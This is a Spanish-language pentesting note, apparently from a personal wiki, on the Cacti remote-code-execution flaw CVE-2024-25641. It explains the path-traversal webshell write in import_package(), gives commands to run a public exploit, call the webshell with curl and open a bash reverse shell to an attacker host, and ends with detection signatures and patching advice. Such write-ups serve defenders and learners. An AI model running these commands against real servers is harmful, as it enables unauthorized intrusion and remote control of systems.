the_open_door
café
ESEN
← Volver al índice

Cacti RCE (CVE-2024-25641)

Cacti es una herramienta de monitorización de red escrita en PHP. La CVE-2024-25641 afecta a las versiones hasta la 1.2.26 (incluida) y permite ejecución remota de código a un usuario autenticado con el permiso de importar plantillas o "packages".

El fallo está en la función import_package() del fichero lib/import.php. Cacti permite importar un package, un archivo que empaqueta plantillas y recursos. La función confía ciegamente en el nombre y el contenido de los ficheros incluidos: no valida la extensión ni desinfecta la ruta de destino. Como además la ruta admite secuencias de path traversal (../../../), un atacante puede escribir un fichero arbitrario (típicamente un webshell PHP) en una ubicación servida por el servidor web, y luego invocarlo para ejecutar comandos.

El flujo de explotación es:

  1. Autenticarse en Cacti (la CVE exige sesión válida; por eso suele encadenarse con otra vía que filtre credenciales, como una SQLi previa).
  2. Construir un package cuyo fichero apunte, vía ../, a la raíz web y contenga código PHP.
  3. Importarlo para que Cacti escriba el webshell.
  4. Visitar el webshell para obtener ejecución de comandos (normalmente como www-data).

Existen exploits públicos que automatizan el empaquetado, la firma y la subida; basta con pasarles la URL y las credenciales.

Explotación

searchsploit -m php/webapps/52001.py           # PoC publico de import_package
# el exploit escribe un webshell y lo invoca
python3 52001.py -t http://<host>/cacti -u admin -p <pass>
# manual: tras importar el package, invocar el webshell escrito en la raiz web
curl "http://<host>/cacti/resource/rce.php?cmd=id"
curl "http://<host>/cacti/resource/rce.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<lhost>/<lport>+0>%261'"

Matiz. El requisito de autenticación reduce el alcance: sin credenciales válidas (o sin un usuario con el permiso de importación) no es explotable directamente. Por eso en la práctica el valor está en encadenarla con un acceso previo. Conviene confirmar la versión exacta (visible en el pie del login de Cacti) antes de lanzar el exploit.

Cómo detectarlo. La cadena es visible en el log: un usuario autenticado invocando la importación de packages (import.php/import_package) con un archivo cuyos nombres internos contienen ../ hacia la raíz web, seguido de la aparición de un .php nuevo fuera del directorio de plantillas (un FIM lo capta). La ejecución posterior se ve como una petición a ese webshell que devuelve salida de comando y como el proceso web (www-data) lanzando sh/bash como hijo. Una importación de plantilla que escribe un .php es incoherente con la función legítima y es la firma directa.

Defensa. Actualizar Cacti a una versión parcheada (posterior a la 1.2.26); restringir quién puede importar plantillas; y, en general, no confiar en nombres ni contenidos de ficheros subidos (validar extensión y ruta, escribir fuera del web root). Relacionado con la RCE por subida de fichero como familia de ataque.

Máquinas donde se aplica